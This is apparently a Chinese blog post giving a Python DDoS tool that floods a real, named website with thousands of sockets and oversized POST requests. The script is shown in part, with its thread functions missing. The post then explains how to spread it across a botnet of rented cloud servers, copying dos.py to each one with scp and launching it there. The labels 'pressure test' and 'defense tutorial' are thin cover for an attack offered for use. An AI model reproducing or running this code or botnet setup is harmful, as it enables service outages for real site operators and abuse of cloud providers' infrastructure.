python DDos网络攻击一般网站-1

DDOS原理讲解

史上最全DDoS攻击与防御教程
DDoS攻击的防护与本质解析
DDOS 攻击的防范教程

思想很简单,就是对构建多个socket链接后,并且每个socket对这个网站无限的发送信息,做一个死循环,疯狂攻击。以起到占用他们网站资源链接的效果。

#!/usr/bin/env python
import socket
import time
import threading
# Pressure Test,ddos tool
# ---------------------------
MAX_CONN = 200000    # 最大socket链接量
PORT = 80   
HOST = "www.ssyer.com"
PAGE = "/photography"
buf = ("POST %s HTTP/1.1\r\n"
       "Host: %s\r\n"
       "Content-Length: 10000000\r\n"
       "Cookie: dklkt_dos_test\r\n"
       "\r\n" % (PAGE, HOST))

# 多线程执行两个函数
conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())

conn_th.start()
send_th.start()

整合网络僵尸和DoS攻击——DDoS
如果觉得网络僵尸ping和简单的DoS还不够力,我们把上面的网络僵尸和DoS整合一下,成了传说中的DDos。

在这里插入图片描述
DDoS, Distributed Denial of Service, 分布式拒绝服务攻击,亦称作洪水攻击。DoS攻击与DDoS攻击的区别就是,它是一对一的攻击,而DDoS是分布式的攻击。

改进之处:

整合网络僵尸和DoS攻击;
实现每个肉鸡进行多线程Dos攻击botnetCommand(‘python Dos_constantConn_MutilThread.py’);

前提条件:

你要有不止一台可以做肉鸡的网络服务器(可以到阿里云、腾讯云、华为云多注册几台云服务器,当肉鸡)。
而且每个肉鸡客户端都可以运行python(一般linux服务器都自带python运行环境)。

程序可能问题:

有时把dos.py程序批量发到各个肉鸡服务器可能不成功,需要手工先发过去:scp dos.py root@127.0.0.1:~/

  • 0
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值